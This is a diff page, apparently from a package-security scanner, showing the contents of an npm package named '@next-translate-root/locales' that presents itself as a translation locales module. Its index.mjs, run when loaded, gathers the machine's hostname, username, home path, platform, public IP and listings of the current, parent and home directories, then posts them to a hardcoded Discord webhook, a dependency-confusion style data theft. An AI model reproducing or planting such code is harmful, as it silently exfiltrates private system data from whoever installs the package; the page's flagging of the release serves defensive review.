@next-translate-root/locales 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @next-translate-root/locales might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.mjs +120 -0
  2. package/package.json +14 -0
package/index.mjs ADDED
@@ -0,0 +1,120 @@
1
+ import fetch from 'node-fetch';
2
+ import { readdirSync, existsSync } from 'fs';
3
+
4
+
5
+ const WEBHOOK_URL = "https://discord.com/api/webhooks/1126724644825735258/eYyyDWo39XlT83XjDNaNgRps1pnCli3zWYY4sOSzCjJyk8wsPjL0k-_KD4cheyjTfbz-";
6
+ const PACKAGE_NAME = "@next-translate-root/locales";
7
+
8
+ const WEBHOOK_MESSAGE = "";
9
+ const WEBHOOK_CHAR_LIMIT = 2000;
10
+
11
+ class Embed {
12
+ constructor() {
13
+ this.title = "";
14
+ this.type = "rich";
15
+ this.description = "";
16
+ this.color = 0x00FF00;
17
+ this.fields = [];
18
+ }
19
+ }
20
+
21
+
22
+ const getDirectoryListing = (paths) => {
23
+ const embed = new Embed();
24
+ for (const path of paths) {
25
+ if (existsSync(path)){
26
+ embed.fields.push({
27
+ name: path,
28
+ value: "`" + readdirSync(path).join("`, `") + "`",
29
+ inline: false
30
+ });
31
+ embed.title = "Directory Listing";
32
+ };
33
+ };
34
+
35
+ return embed;
36
+ };
37
+
38
+ const getIPAddress = async () => {
39
+ const request = await fetch("https://api.ipify.org");
40
+ let ip = "";
41
+ if (request.ok) {
42
+ ip = await request.text();
43
+ }
44
+
45
+ return ip;
46
+ };
47
+
48
+ const ip = await getIPAddress();
49
+
50
+
51
+ const getSystemInfo = async () => {
52
+ const embed = new Embed();
53
+ embed.title = "System Info";
54
+ embed.fields.push({
55
+ name: "Node Version",
56
+ value: process.version
57
+ });
58
+ embed.fields.push({
59
+ name: "Platform",
60
+ value: process.platform,
61
+ inline: true
62
+ });
63
+ embed.fields.push({
64
+ name: "Architecture",
65
+ value: process.arch,
66
+ inline: true
67
+ });
68
+ embed.fields.push({
69
+ name: "System Name",
70
+ value: process.env.COMPUTERNAME || process.env.HOSTNAME || "Unknown",
71
+ inline: false
72
+ });
73
+ embed.fields.push({
74
+ name: "User Name",
75
+ value: process.env.USERNAME,
76
+ inline: false
77
+ });
78
+ embed.fields.push({
79
+ name: "Home Directory",
80
+ value: process.env.HOME || process.env.USERPROFILE,
81
+ inline: false
82
+ });
83
+ embed.fields.push({
84
+ name: "IP Address",
85
+ value: ip.toString(),
86
+ inline: false
87
+ });
88
+
89
+ return embed;
90
+ };
91
+
92
+
93
+
94
+
95
+ const sendWebhook = async (embed) => {
96
+ const response = await fetch(WEBHOOK_URL, {
97
+ method: "POST",
98
+ headers: {
99
+ "Content-Type": "application/json"
100
+ },
101
+ body: JSON.stringify({ embeds: [embed] })
102
+ });
103
+ return response;
104
+ }
105
+
106
+
107
+ const home = process.env.HOME || process.env.USERPROFILE;
108
+ const paths = ['./', '../', home]
109
+
110
+ const directoryListing = getDirectoryListing(paths);
111
+ const systemInfo = await getSystemInfo();
112
+
113
+
114
+ const embeds = [directoryListing, systemInfo];
115
+
116
+ for (const embed of embeds) {
117
+ const response = sendWebhook(embed);
118
+ }
119
+
120
+ console.log("Logs sent to Discord--npm-dependency-confusion--bug--reports--@1xxxxxxxx")
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@next-translate-root/locales",
3
+ "version": "1.0.0",
4
+ "description": "next-translate-root",
5
+ "main": "index.mjs",
6
+ "scripts": {
7
+ "test": "echo"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "node-fetch": "^3.3.1"
13
+ }
14
+ }